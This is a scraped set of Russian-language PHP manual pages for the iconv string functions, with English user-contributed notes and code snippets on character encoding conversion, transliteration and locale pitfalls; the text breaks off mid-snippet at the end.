Пример #1 Пример использования iconv_set_encoding()

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

Смотрите также

  • iconv_get_encoding() - Получает текущее значение настроек преобразования кодировок
  • ob_iconv_handler() - Преобразует символы из текущей кодировки в кодировку выходного буфера

User Contributed Notes

Coralie B 15-Sep-2016 09:10
I encountered the same issue than joe dot bowman at edigitalresearch.com

Even if i read on the web that it is a usual issue when using PHP 5.6 and upper, i didn't encounter it on every sites on which i use PHP 5.6.

Nevertheless, i had to find a solution because, when the issue appears, it's embarrassing. This is what i found thanks to Alexandra Lopez on http://hasibul.info.

Instead of :
if (function_exists('iconv'))
{
// These are settings that can be set inside code
    iconv_set_encoding("internal_encoding", "UTF-8?);
    iconv_set_encoding("input_encoding", "UTF-8?);
    iconv_set_encoding("output_encoding", "UTF-8?);
}

i use :
if (PHP_VERSION_ID < 50600) {
    iconv_set_encoding('input_encoding', 'UTF-8');
    iconv_set_encoding('output_encoding', 'UTF-8');
    iconv_set_encoding('internal_encoding', 'UTF-8');
} else {
    ini_set('default_charset', 'UTF-8');
}
joe dot bowman at edigitalresearch.com 18-Nov-2014 10:26
As of PHP 5.6, this throws a Deprecated level error, as is consistent with setting the iconv.*_encoding ini settings:

iconv_set_encoding('internal_encoding', 'UTF-8');

triggers:

PHP Deprecated:  iconv_set_encoding(): Use of iconv.internal_encoding is deprecated in ...
pasamio at gmail dot com 03-Jan-2008 11:18
On PHP 5.2.5 when iconv.*_encoding values are set using php_admin_value in the Apache configuration file, this call will fail and return false.


Возвращает количество символов в строке

  • « iconv_set_encoding
  • iconv_strpos »
  • PHP Manual
  • Функции iconv
  • Возвращает количество символов в строке

iconv_strlen

(PHP 5, PHP 7, PHP 8)

iconv_strlen — Возвращает количество символов в строке

Описание

iconv_strlen(string $string, ?string $encoding = null): int|false

В отличие от strlen(), iconv_strlen() учитывает кодировку строки. Длина string не обязательно будет соответствовать количеству байт в ней, так как в различных кодировках различные символы кодируются различным количеством байт, например, юникод может быть и двух-, и четырёхбайтным.

Список параметров

string

Строка.

encoding

Если параметр encoding опущен, предполагается, что кодировка строки string эквивалентна значению iconv.internal_encoding.

Возвращаемые значения

Возвращает количество символов в string как целое число или false в случае возникновения ошибки при кодировании.

Список изменений

Версия | Описание
8.0.0 | encoding теперь допускает значение null.

Смотрите также

  • grapheme_strlen() - Получает длину строки в единицах графемы
  • mb_strlen() - Получает длину строки
  • strlen() - Возвращает длину строки

User Contributed Notes

sheryl 12-Apr-2020 06:15
Notice there is a disconnect:
>If charset`parameter is omitted, str is assumed to be encoded in iconv.internal_encoding.

But clicking on the iconv.internal_encoding link (https://www.php.net/manual/en/iconv.configuration.php), the docs indicate that iconv.internal_encoding is deprecated since 5.6.
hfuecks @ nospam org 24-Feb-2006 04:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "I?t?rn?ti?n\xe9?liz?ti?n";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
    die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos


Возвращает позицию первого вхождения подстроки

  • « iconv_strlen
  • iconv_strrpos »
  • PHP Manual
  • Функции iconv
  • Возвращает позицию первого вхождения подстроки

iconv_strpos

(PHP 5, PHP 7, PHP 8)

iconv_strpos — Возвращает позицию первого вхождения подстроки

Описание

iconv_strpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

Возвращает позицию первого вхождения подстроки needle в строке haystack.

В отличие от strpos(), iconv_strpos() возвращает смещение перед искомой строкой в символах, а не в байтах. Количество символов трактуется в зависимости от указанной параметром encoding кодировки.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Искомая подстрока.

offset

Необязательный параметр offset позволяет указать, с какого по счёту символа строки начинать поиск. Если указано отрицательное значение, то смещение будет отсчитываться с конца строки.

encoding

Если параметр encoding не указан, то подразумевается, что string имеет кодировку iconv.internal_encoding.

Если haystack или needle не являются строками, они будут преобразованы в строку и применены как код символа.

Возвращаемые значения

Возвращает номер позиции первого вхождения строки needle в haystack.

Если строка needle не найдена, iconv_strpos() возвращает false.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | encoding теперь допускает значение null.
7.1.0 | Поддержка отрицательных значений offset.

Смотрите также

  • strpos() - Возвращает позицию первого вхождения подстроки
  • iconv_strrpos() - Возвращает позицию последнего вхождения подстроки
  • mb_strpos() - Поиск позиции первого вхождения одной строки в другую

User Contributed Notes

There are no user contributed notes for this page.


Возвращает позицию последнего вхождения подстроки

  • « iconv_strpos
  • iconv_substr »
  • PHP Manual
  • Функции iconv
  • Возвращает позицию последнего вхождения подстроки

iconv_strrpos

(PHP 5, PHP 7, PHP 8)

iconv_strrpos — Возвращает позицию последнего вхождения подстроки

Описание

iconv_strrpos(string $haystack, string $needle, ?string $encoding = null): int|false

Находит последнюю позицию подстроки needle в строке haystack.

В отличие от strrpos(), iconv_strrpos() возвращает смещение перед искомой строкой в символах, а не в байтах. Количество символов трактуется в зависимости от указанной параметром encoding кодировки.

Список параметров

haystack

Строка, в которой производится поиск.

needle

Искомая подстрока.

encoding

Если параметр encoding не указан, то подразумевается, что string имеет кодировку iconv.internal_encoding.

Если haystack или needle не являются строками, они будут преобразованы в строку и применены как код символа.

Возвращаемые значения

Возвращает номер позиции последнего вхождения строки needle в haystack.

Если строка needle не найдена, iconv_strrpos() возвращает false.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Список изменений

Версия | Описание
8.0.0 | encoding теперь допускает значение null.

Смотрите также

  • strrpos() - Возвращает позицию последнего вхождения подстроки в строке
  • iconv_strpos() - Возвращает позицию первого вхождения подстроки
  • mb_strrpos() - Поиск позиции последнего вхождения одной строки в другую

User Contributed Notes

There are no user contributed notes for this page.


Получение части строки

  • « iconv_strrpos
  • iconv »
  • PHP Manual
  • Функции iconv
  • Получение части строки

iconv_substr

(PHP 5, PHP 7, PHP 8)

iconv_substr — Получение части строки

Описание

iconv_substr(
string $string,
int $offset,
?int $length = null,
?string $encoding = null
): string|false

Получает часть строки string, определённую параметрами offset и length.

Список параметров

string

Изначальная строка.

offset

Если offset неотрицателен, iconv_substr() получает часть строки string начиная с символа с порядковым номером offset (нумерация начинается с нуля).

Если offset отрицателен, iconv_substr() получает часть строки начиная с позиции, отстоящую от конца строки string на offset символов.

length

Если length задан и положителен, возвращаемое значение содержит не более length символов, начиная с offset (зависит от длины строки string).

Если указан отрицательный length, iconv_substr() получает часть строки string, начиная с offset символа и до символа, отстоящего от конца строки на length символов. В случае, если offset также отрицателен, стартовая позиция вычисляется заранее в соответствии с вышеописанным правилом.

encoding

Если параметр encoding не указан, предполагается, что строка string имеет кодировку iconv.internal_encoding.

Обратите внимание, что и offset, и length основываются на размере символа, рассчитанного исходя из кодировки текста (encoding), в то время как схожая функция substr() всегда рассматривает их побайтовое смещение.

Возвращаемые значения

Возвращает часть строки string, определённую параметрами offset и length.

Если строка string имеет меньшую длину, чем параметр offset, будет возвращено false. Если string имеет длину равную offset, будет возвращена пустая строка.

Список изменений

Версия | Описание
8.0.0 | length и encoding теперь допускают значение null.
7.0.11 | Если string имеет длину равную offset, будет возвращена пустая строка. Ранее в подобных случаях возвращалось false.

Смотрите также

  • substr() - Возвращает подстроку
  • mb_substr() - Возвращает часть строки
  • mb_strcut() - Получение части строки

User Contributed Notes

doru87 at gmail dot com 21-Jan-2010 05:29
just fyi, iconv_substr() unknown error (0) has been resolved in PHP 5.2

you can also try mb_substr() or just substr() when dealing with this issue. Unfortunately there is no way to fix it in versions prior to 5.2.

Regards,
Teodor Sandu
qbolec at terra dot es 25-May-2007 02:07
<?=
iconv_substr("A",0,1);
?>
generates folowing error:
Notice: iconv_substr() [function.iconv-substr]: Unknown error (0) in [...]

while, <?= iconv_substr("AB",0,1) ?> and <?= iconv_substr("AB",0,2) ?>
work as expected.


Преобразует строку из одной кодировки символов в другую

  • « iconv_substr
  • ob_iconv_handler »
  • PHP Manual
  • Функции iconv
  • Преобразует строку из одной кодировки символов в другую

iconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv — Преобразует строку из одной кодировки символов в другую

Описание

iconv(string $from_encoding, string $to_encoding, string $string): string|false

Преобразует строку string из кодировки from_encoding в to_encoding.

Список параметров

from_encoding

Текущая кодировка, используемая для интерпретации параметра string.

to_encoding

Требуемая на выходе кодировка.

Если к параметру to_encoding добавлена строка //TRANSLIT, включается режим транслитерации. Это значит, что в случае, если символ не может быть представлен в требуемой кодировке, он может быть заменён одним или несколькими похожими символами. Если добавлена строка //IGNORE, то символы, которые не могут быть представлены в требуемой кодировке, будут удалены. В случае отсутствия вышеуказанных параметров будет сгенерирована ошибка уровня E_NOTICE, а функция вернёт false.

Предостережение

Как будет работать //TRANSLIT и будет ли вообще, зависит от системной реализации iconv() (ICONV_IMPL). Известны некоторые реализации, которые просто игнорируют //TRANSLIT, так что конвертация для символов некорректных для to_encoding скорее всего закончится ошибкой.

string

Строка (string) для преобразования.

Возвращаемые значения

Возвращает преобразованную строку или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования iconv()

<?php
$text = "Это символ евро - '€'.";

echo 'Исходная строка : ', $text, PHP_EOL;
echo 'С добавлением TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'С добавлением IGNORE : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Обычное преобразование : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;

?>

Результатом выполнения данного примера будет что-то подобное:

Исходная строка        : Это символ евро - '€'.
С добавлением TRANSLIT : Это символ евро - 'EUR'.
С добавлением IGNORE   :Это символ евро - ''.
Обычное преобразование :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7

Примечания

Замечание:

Доступные кодировки и опции зависят от установленной реализации iconv. Если параметр from_encoding или from_encoding не поддерживается в текущей системе, будет возвращено значение false.

Смотрите также

  • mb_convert_encoding() - Преобразует строку из одной кодировки символов в другую
  • UConverter::transcode() - Преобразует строку из одной кодировки символов в другую

User Contributed Notes

Daniel Klein 18-Nov-2019 01:41
If you want to convert to a Unicode encoding without the byte order mark (BOM), add the endianness to the encoding, e.g. instead of "UTF-16" which will add a BOM to the start of the string, use "UTF-16BE" which will convert the string without adding a BOM.

i.e.

<?php
iconv('CP1252', 'UTF-16', $text); // with BOM
iconv('CP1252', 'UTF-16BE', $text); // without BOM
phpnet at dariosulser dot ch 18-Sep-2019 01:12
ANSI = Windows-1252 = CP1252
So UTF-8 -> ANSI:

<?php
      $string = "Winkel ?=200 fur 1€"; //"?"=HTML:&gamma;
      $result = iconv('UTF-8', 'CP1252//IGNORE', $string);
      echo $result;
?>

Note1
<?php
      $string = "Winkel ?=200 fur 1€";
      $result = iconv('UTF-8', 'CP1252', $string);
      echo $result; //"conv(): Detected an illegal character in input string"
?>

Note2 (ANSI is better than decode in ISO 8859-1 (ISO-8859-1==Latin-1)
<?php
      $string = "Winkel ?=200 fur 1€";
      $result = utf8_decode($string);
      echo $result; //"Winkel ?=200 fur 1?"
?>

Note3 of used languages on Websites:
93.0% = UTF-8;
3.5% = Latin-1;
0.6% = ANSI <----- you shoud use (or utf-8 if your page is in Chinese or has Maths)
Daniel Klein 08-Apr-2016 09:12
I just found out today that the Windows and *NIX versions of PHP use different iconv libraries and are not very consistent with each other.

Here is a repost of my earlier code that now works on more systems. It converts as much as possible and replaces the rest with question marks:

<?php
if (!function_exists('utf8_to_ascii')) {
  setlocale(LC_CTYPE, 'en_AU.utf8');
  if (@iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", 'e') === false) {
    // PHP is probably using the glibc library (*NIX)
    function utf8_to_ascii($text) {
      return iconv("UTF-8", "ASCII//TRANSLIT", $text);
    }
  }
  else {
    // PHP is probably using the libiconv library (Windows)
    function utf8_to_ascii($text) {
      if (is_string($text)) {
        // Includes combinations of characters that present as a single glyph
        $text = preg_replace_callback('/\X/u', __FUNCTION__, $text);
      }
      elseif (is_array($text) && count($text) == 1 && is_string($text[0])) {
        // IGNORE characters that can't be TRANSLITerated to ASCII
        $text = iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", $text[0]);
        // The documentation says that iconv() returns false on failure but it returns ''
        if ($text === '' || !is_string($text)) {
          $text = '?';
        }
        elseif (preg_match('/\w/', $text)) {        // If the text contains any letters...
          $text = preg_replace('/\W+/', '', $text); // ...then remove all non-letters
        }
      }
      else {  // $text was not a string
        $text = '';
      }
      return $text;
    }
  }
}
Nopius 26-Mar-2015 02:08
As orrd101 said, there is a bug with //IGNORE in recent PHP versions (we use 5.6.5) where we couldn't convert some strings (i.e. "•" from UTF8 to CP1251 with //IGNORE).
But we have found a workaround and now we use both //TRANSLIT and //IGNORE flags:
$text="•";
iconv("UTF8", "CP1251//TRANSLIT//IGNORE", $text);
atelier at degoy dot com 19-Nov-2014 07:41
There may be situations when a new version of a web site, all in UTF-8, has to display some old data remaining in the database with ISO-8859-1 accents. The problem is iconv("ISO-8859-1", "UTF-8", $string) should not be applied if $string is already UTF-8 encoded.

I use this function that does'nt need any extension :

function convert_utf8( $string ) {
    if ( strlen(utf8_decode($string)) == strlen($string) ) {
        // $string is not UTF-8
        return iconv("ISO-8859-1", "UTF-8", $string);
    } else {
        // already UTF-8
        return $string;
    }
}

 I have not tested it extensively, hope it may help.
rasmus at mindplay dot dk 27-Jun-2014 11:52
Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because iconv() will add a byte-order marker to the beginning of (for example) a UTF-32 string when converting from e.g. ISO-8859-1, which can throw off all your subsequent calculations and operations on the resulting string.

In other words, iconv() appears to be intended for use when converting the contents of files - whereas mb_convert_encoding() is intended for use when juggling strings internally, e.g. strings that aren't being read/written to/from files, but exchanged with some other media.
chicopeste at gmail dot com 25-Sep-2013 07:45
iconv also support CP850.
I used iconv("CP850", "UTF-8//TRANSLIT", $var);
to convert from SQL_Latin1_General_CP850_CI_AI to UTF-8.
jorortega at gmail dot com 04-Sep-2013 03:52
Be aware that iconv in PHP uses system implementations of locales and languages, what works under linux, normally doesn't in windows.

Also, you may notice that recent versions of linux (debian, ubuntu, centos, etc) the //TRANSLIT option doesn't work. since most distros doesn't include the intl packages (example: php5-intl and icuxx (where xx is a number) in debian) by default. And this because the intl package conflicts with another package needed for international DNS resolution.

Problem is that configuration is dependent of the sysadmin of the machine where you're hosted, so iconv is pretty much useless by default,  depending on what configuration is used by your distro or the machine's admin.
jessiedeer at hotmail dot com 15-Jul-2013 02:06
iconv with //IGNORE works as expected: it will skip the character if this one does not exist in the $out_charset encoding.

If a character is missing from the $in_charset encoding (eg byte \x81 from CP1252 encoding), then iconv will return an error, whether with //IGNORE or not.
jessie at hotmail dot com 21-Jun-2013 09:44
Provided that there is no invalid code point in the character chain for the input encoding, the //IGNORE option works as expected. No bug here.
admin at iecw dot net 10-Apr-2013 05:39
If you want to normalize a filename on Mac OS X, because it is in UTF-8 NFD and you need UTF-8 NFC
(See: http://en.wikipedia.org/wiki/Unicode_equivalence#Combining_and_precomposed_characters)
you may use:
<?php
$filename_nfc = iconv("UTF-8-MAC", "UTF-8", $filename_nfd);
?>
Daniel Klein 13-Mar-2013 12:17
You can use 'CP1252' instead of 'Windows-1252':
<?php
// These two lines are equivalent
$result = iconv('Windows-1252', 'UTF-8', $string);
$result = iconv('CP1252', 'UTF-8', $string);
?>
Note: The following code points are not valid in CP1252 and will cause errors.
129 (0x81)
141 (0x8D)
143 (0x8F)
144 (0x90)
157 (0x9D)
Use the following instead:
<?php
// Remove invalid code points, convert everything else
$result = iconv('CP1252', 'UTF-8//IGNORE', $string);
?>
orrd101 at gmail dot com 14-May-2012 06:58
The "//ignore" option doesn't work with recent versions of the iconv library.  So if you're having trouble with that option, you aren't alone.

That means you can't currently use this function to filter invalid characters.  Instead it silently fails and returns an empty string (or you'll get a notice but only if you have E_NOTICE enabled).

This has been a known bug with a known solution for at least since 2009 years but no one seems to be willing to fix it (PHP must pass the -c option to iconv).  It's still broken as of the latest release 5.4.3.

https://bugs.php.net/bug.php?id=48147
https://bugs.php.net/bug.php?id=52211
https://bugs.php.net/bug.php?id=61484

[UPDATE 15-JUN-2012]
Here's a workaround...

  ini_set('mbstring.substitute_character', "none");
  $text= mb_convert_encoding($text, 'UTF-8', 'UTF-8');

That will strip invalid characters from UTF-8 strings (so that you can insert it into a database, etc.).  Instead of "none" you can also use the value 32 if you want it to insert spaces in place of the invalid characters.
daniel dot rhodes at warpasylum dot co dot uk 23-Aug-2011 08:22
Interestingly, setting different target locales results in different, yet appropriate, transliterations. For example:

<?php
//some German
$utf8_sentence = 'Wei?, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz';

//UK
setlocale(LC_ALL, 'en_GB');

//transliterate
$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz]
//which is our original string flattened into 7-bit ASCII as
//an English speaker would do it (ie. simply remove the umlauts)
echo $trans_sentence . PHP_EOL;

//Germany
setlocale(LC_ALL, 'de_DE');

$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Goebel, Weiss, Goethe, Goethe und Goetz]
//which is exactly how a German would transliterate those
//umlauted characters if forced to use 7-bit ASCII!
//(because really a = ae, o = oe and u = ue)
echo $trans_sentence . PHP_EOL;

?>
ameten 14-Jan-2011 04:17
I have used iconv to convert from cp1251 into UTF-8. I spent a day to investigate why a string with Russian capital 'Р' (sounds similar to 'r') at the end cannot be inserted into a database.

The problem is not in iconv. But 'Р' in cp1251 is chr(208) and 'Р' in UTF-8 is chr(208).chr(106). chr(106) is one of the space symbol which match '\s' in regex. So, it can be taken by a greedy '+' or '*' operator. In that case, you loose 'Р' in your string.

For example, 'ГР   ' (Russian, UTF-8). Function preg_match. Regex is '(.+?)[\s]*'. Then '(.+?)' matches 'Г'.chr(208) and '[\s]*' matches chr(106).'   '.

Although, it is not a bug of iconv, but it looks like it very much. That's why I put this comment here.
vb (at) bertola.eu 15-Jul-2010 06:35
On my system, according to tests, and also as reported by other people elsewhere, you can combine TRANSLIT and IGNORE only by appending

//IGNORE//TRANSLIT

strictly in that order, but NOT by appending //TRANSLIT//IGNORE, which would lead to //IGNORE being ignored ( :) ).

Anyway, it's hard to understand how one could devise a system of passing options that does not allow to couple both options in a neat manner, and also to understand why the default behaviour should be the less useful and most dangerous one (throwing away most of your data at the first unexpected character). Software design FAIL :-/
Anonymous 18-Jan-2010 11:37
For text with special characters such as (e) &eacute; which appears at 0xE9 in the ISO-8859-1 and at 0x82 in IBM-850. The correct output character set is 'IBM850' as:
('ISO-8859-1', 'IBM850', 'Quebec')
Andries Seutens 07-Nov-2009 11:38
When doing transliteration, you have to make sure that your LC_COLLATE is properly set, otherwise the default POSIX will be used.

To transform "rene" into "rene" we could use the following code snippet:

<?php

setlocale(LC_CTYPE, 'nl_BE.utf8');

$string = 'rene';
$string = iconv('UTF-8', 'ASCII//TRANSLIT', $string);

echo $string; // outputs rene

?>
annuaireehtp at gmail dot com 14-Oct-2009 04:53
to test different combinations of convertions between charsets (when we don't know the source charset and what is the convenient destination charset) this is an example :

<?php
$tab = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256");
$chain = "";
foreach ($tab as $i)
    {
        foreach ($tab as $j)
        {
            $chain .= " $i$j ".iconv($i, $j, "$my_string");
        }
    }

echo $chain;
?>

then after displaying, you use the $i$j that shows good displaying.
NB: you can add other charsets to $tab  to test other cases.
phpmanualspam at netebb dot com 17-Sep-2009 11:53
mirek code, dated 16-May-2008 10:17, added the characters `^~'" to the output.
This function will strip out these extra characters:
<?php
setlocale(LC_ALL, 'en_US.UTF8');
function clearUTF($s)
{
    $r = '';
    $s1 = @iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    $j = 0;
    for ($i = 0; $i < strlen($s1); $i++) {
        $ch1 = $s1[$i];
        $ch2 = @mb_substr($s, $j++, 1, 'UTF-8');
        if (strstr('`^~\'"', $ch1) !== false) {
            if ($ch1 <> $ch2) {
                --$j;
                continue;
            }
        }
        $r .= ($ch1=='?') ? $ch2 : $ch1;
    }
    return $r;
}
?>
martin at front of mind dot co dot uk 29-May-2009 03:33
For transcoding values in an Excel generated CSV the following seems to work:

<?php
$value = iconv('Windows-1252', 'UTF-8//TRANSLIT', $value);
?>
manuel at kiessling dot net 16-Apr-2009 09:33
Like many other people, I have encountered massive problems when using iconv() to convert between encodings (from UTF-8 to ISO-8859-15 in my case), especially on large strings.

The main problem here is that when your string contains illegal UTF-8 characters, there is no really straight forward way to handle those. iconv() simply (and silently!) terminates the string when encountering the problematic characters (also if using //IGNORE), returning a clipped string. The

<?php

$newstring = html_entity_decode(htmlentities($oldstring, ENT_QUOTES, 'UTF-8'), ENT_QUOTES , 'ISO-8859-15');

?>

workaround suggested here and elsewhere will also break when encountering illegal characters, at least dropping a useful note ("htmlentities(): Invalid multibyte sequence in argument in...")

I have found a lot of hints, suggestions and alternative methods (it's scary and in my opinion no good sign how many ways PHP natively provides to convert the encoding of strings), but none of them really worked, except for this one:

<?php

$newstring = mb_convert_encoding($oldstring, 'ISO-8859-15', 'UTF-8');

?>
kikke 20-Feb-2009 04:50
You can use native iconv in Linux via passthru if all else failed.
Use the -c parameter to suppress error messages.
Leigh Morresi 01-Oct-2008 11:10
If you are getting question-marks in your iconv output when transliterating, be sure to 'setlocale' to something your system supports.

Some PHP CMS's will default setlocale to 'C', this can be a problem.

use the "locale" command to find out a list..

$ locale -a
C
en_AU.utf8
POSIX

<?php
  setlocale(LC_CTYPE, 'en_AU.utf8');
  $str = iconv('UTF-8', 'ASCII//TRANSLIT', "Cote d'Ivoire");
?>
mirek at burkon dot org 16-May-2008 03:17
If you need to strip as many national characters from UTF-8 as possible and keep the rest of input unchanged (i.e. convert whatever can be converted to ASCII and leave the rest), you can do it like this:

<?php
setlocale(LC_ALL, 'en_US.UTF8');

function clearUTF($s)
{
    $r = '';
    $s1 = iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    for ($i = 0; $i < strlen($s1); $i++)
    {
        $ch1 = $s1[$i];
        $ch2 = mb_substr($s, $i, 1);

        $r .= $ch1=='?'?$ch2:$ch1;
    }
    return $r;
}

echo clearUTF('Silene zlutoucky Vasek upel olol! This will remain untranslated: ??????');
//outputs Silene zlutoucky Vasek upel olol! This will remain untranslated: ??????
?>

Just remember you HAVE TO set locale to some unicode encoding to make iconv handle //TRANSLIT correctly!
berserk220 at mail dot ru 29-Feb-2008 06:44
So, as iconv() does not always work correctly, in most cases, much easier to use htmlentities().
Example: <?php $content=htmlentities(file_get_contents("incoming.txt"), ENT_QUOTES, "Windows-1252");  file_put_contents("outbound.txt", html_entity_decode($content, ENT_QUOTES , "utf-8")); ?>
anton dot vakulchik at gmail dot com 02-Feb-2008 10:40
function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;
        } else {
            return cp1251_utf8($string);
        }
    }
}
echo encoding($string);
mightye at gmail dot com 05-Nov-2007 05:01
To strip bogus characters from your input (such as data from an unsanitized or other source which you can't trust to necessarily give you strings encoded according to their advertised encoding set), use the same character set as both the input and the output, with //IGNORE on the output charcter set.
<?php
// assuming '†' is actually UTF8, htmlentities will assume it's iso-8859
// since we did not specify in the 3rd argument of htmlentities.
// This generates "&acirc;[bad utf-8 character]"
// If passed to any libxml, it will generate a fatal error.
$badUTF8 = htmlentities('†');

// iconv() can ignore characters which cannot be encoded in the target character set
$goodUTF8 = iconv("utf-8", "utf-8//IGNORE", $badUTF8);
?>
The result of the example does not give you back the dagger character which was the original input (it got lost when htmlentities was misused to encode it incorrectly, though this is common from people not accustomed to dealing with extended character sets), but it does at least give you data which is sane in your target character set.
gree:.. (gree 4T grees D0T net) 24-Aug-2007 02:19
In my case, I had to change:
<?php
setlocale(LC_CTYPE, 'cs_CZ');
?>
to
<?php
setlocale(LC_CTYPE, 'cs_CZ.UTF-8');
?>
Otherwise it returns question marks.

When I asked my linux for locale (by locale command) it returns "cs_CZ.UTF-8", so there is maybe correlation between it.

iconv (GNU libc) 2.6.1
glibc 2.3.6
Ritchie 24-Mar-2007 04:11
Please note that iconv('UTF-8', 'ASCII//TRANSLIT', ...) doesn't work properly when locale category LC_CTYPE is set to C or POSIX. You must choose another locale otherwise all non-ASCII characters will be replaced with question marks. This is at least true with glibc 2.5.

Example:
<?php
setlocale(LC_CTYPE, 'POSIX');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Zlutoucky kun\n");
// ?lu?ou?k? k??

setlocale(LC_CTYPE, 'cs_CZ');
echo iconv('UTF-8', 'ASCII//TRANSLIT', "Zlutoucky kun\n");
// Zlutoucky kun
?>
Locoluis 15-Nov-2006 12:36
The following are Microsoft encodings that are based on ISO-8859 but with the addition of those stupid control characters.

CP1250 is Eastern European (not ISO-8859-2)
CP1251 is Cyrillic (not ISO-8859-5)
CP1252 is Western European (not ISO-8859-1)
CP1253 is Greek (not ISO-8859-7)
CP1254 is Turkish (not ISO-8859-9)
CP1255 is Hebrew (not ISO-8859-8)
CP1256 is Arabic (not ISO-8859-6)
CP1257 is Baltic (not ISO-8859-4)

If you know you're getting input from a Windows machine with those encodings, use one of these as a parameter to iconv.
nilcolor at gmail dot coom 24-Nov-2005 03:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com 30-May-2005 03:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
    if(substr($v,0,2) == "%u")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
    elseif(substr($v,0,3) == "&#x")
      $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
    elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
      $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
    }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com 01-Feb-2005 03:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
                $substring1 = $str[$i].$str[$i+1];
                $substring2 = $str[$i+2].$str[$i+3];

                if (hexdec($substring1) < 127)
                        $results = "00".$str[$i].$str[$i+1];
                else
                {
                        $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                        if ($results < 1000) $results = "0".$results;
                        $i+=2;
                }
                $ucs2 .= $results;
        }
        return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
zhawari at hotmail dot com 18-Jan-2005 03:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

<?php
function ucs2toutf8($str)
{
        for ($i=0;$i<strlen($str);$i+=4)
        {
